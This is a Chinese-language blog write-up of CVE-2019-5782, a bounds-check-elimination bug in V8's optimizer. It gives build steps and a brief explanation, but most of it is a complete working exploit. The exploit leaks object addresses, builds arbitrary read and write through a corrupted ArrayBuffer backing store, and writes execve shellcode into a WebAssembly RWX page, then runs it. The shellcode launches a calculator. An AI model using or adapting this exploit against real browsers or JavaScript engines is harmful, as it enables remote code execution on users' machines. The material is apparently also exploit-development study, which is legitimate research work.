cve-2019-5782

搭建
git checkout 568979f4d891bafec875fab20f608ff9392f4f29
gclient sync
tools/dev/v8gen.py x64.release

编辑out.gn/x64.release/args.gn(覆盖)

v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

然后

ninja -C out.gn/x64.release d8

这样编译的release版本是带符号的,速度还是比较快的

原理

大致理解的意思是当优化时,优化器会将传入的参数(arguments.length)-0x2,比如我们此时传入0x10000,这样在后续右移的时候会返回安全的0((0x10000-0x2)>> 16)值,但是实际上是返回1(0x10000>>16),这样在后续赋值的时候比如(0x10000-0x2)*0x100编译器会误以为返回的是0,但是实际上是0x100,就导致了数组边界的消除即数组越界,剩下的就是构造任意地址读写了,我们可以将一个数组的length改为很大的值(obj和本身的length都要改),然后再后面申请一个ArrayBuffer,这样就可以通过偏移找到backing_store的值,然后覆盖就可以构造出任意地址读写了,还是老方法劫持wasm为shellcode来弹计算器

exp
var buf = new ArrayBuffer(0x10);
var float = new Float64Array(buf);
var int = new Uint32Array(buf);
function f2i(addr){
    float[0] = addr;
    let tmp = Array.from(int);
    return tmp[0] + tmp[1]*0x100000000;
}
function i2f(addr){
    let tmp = [];
    tmp[0] = parseInt(addr % 0x100000000);
    tmp[1] = parseInt((addr - tmp[0]) / 0x100000000);
    int.set(tmp)
    return float[0];
}
function hex(addr){
    return addr.toString(16);
}
function wasm_func() {
    var wasmImports = {
        env: {
            puts: function puts (index) {
                print(utf8ToString(h, index));
            }
        }
    };
    var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
        96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
        116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
        131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
        109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
        128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
        65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
    let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
    let h = new Uint8Array(m.exports.memory.buffer);
    return m.exports.hello;
}

func = wasm_func();
var wasmObjAddr;
//-----------------------------------------------------
print(i2f(0x233300000000));
function leakFunc(arg) {
  let x = arguments.length;
  a1 = new Array(0x10);
  a1[0] = 1.1;
  floatArray = new Array(0x10);
  obj = {aaaa:"bbbb"};
  objArray = [obj];
  objArray[0] = func;
  wasmObjAddr = a1[(x>>16)*0x30];

}
var dataBuf = new ArrayBuffer(0x200);
var dataView = new DataView(dataBuf);
var databuf_addr ;
function leak_databuf(arg) {
  let x = arguments.length;
  a1 = new Array(0x10);
  a1[0] = 1.1;
  floatArray = new Array(0x10);
  obj = {aaaa:"bbbb"};
  objArray = [obj];
  objArray[0] = dataBuf;
  databuf_addr = a1[(x>>16)*0x30];

}
var a1, a2,a3,a4,floatArray,obj,objArray,objBuf,objView;
a3 = [1.1,2.2];
a3.length = 0x10000;
a3.fill(3.3);
a4 = [1.1];
for (let i = 0; i < 10000; i++) leakFunc(...a4);
leakFunc(...a3);
for (let i = 0; i < 10000; i++) leak_databuf(...a4);
leak_databuf(...a3);
wasmObjAddr = f2i(wasmObjAddr) - 0x1;
console.log("wasm object addr: 0x"+hex(wasmObjAddr));
databuf_addr = f2i(databuf_addr) - 0x1;
console.log("databuf_addr: 0x"+hex(databuf_addr));
var tmp2 = i2f(0x10000000000);
var tmp3 = i2f(0x10000000000);
function readyForRead(arg) {
  let x = arguments.length;
  a1 = new Array(0x10);
  a1[0] = 1.1;
  a2 = new Array(0x10);
  a2[0] = 1.1;
  a1[(x >> 16) * 21] = tmp3;  // 0xffff00000000
  a1[(x >> 16) * 41] = tmp2; 
  objBuf = new ArrayBuffer(0x200);
  objView = new DataView(objBuf);
}
function read_dataview(addr){
    a2[24] = i2f(addr);
    return f2i(objView.getFloat64(0,true));
}
function write_dataview(addr,payload){
    a2[24] = i2f(addr);
    for(var i = 0;i < payload.length;i++){
        objView.setUint8(i,payload[i],true);
    }
}
for (let i = 0; i < 10000; i++) readyForRead(...a4);
readyForRead(...a3);
var sharedInfoAddr = read_dataview(wasmObjAddr+0x18) - 1;
console.log("share info addr: 0x"+hex(sharedInfoAddr));
var wasmExportedFunctionDataAddr = read_dataview(sharedInfoAddr+0x8) - 1;
console.log("WasmExportedFunctionData addr: 0x"+hex(wasmExportedFunctionDataAddr));
var instanceAddr = read_dataview(wasmExportedFunctionDataAddr+0x10) - 1;
console.log("instance addr: 0x"+hex(instanceAddr));
var rwx_addr = read_dataview(instanceAddr+0xe8);
console.log("rwx addr: 0x"+hex(rwx_addr));
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
    96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
    105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
    72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
    72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
    184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
    94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
write_dataview(rwx_addr, shellcode);

func();

不知道为什么在进入gdb调试的时候是不存在这个洞的,但是正常打是有的,有点疑惑,希望后面可以解决这个问题

你可能感兴趣的:(cve-2019-5782)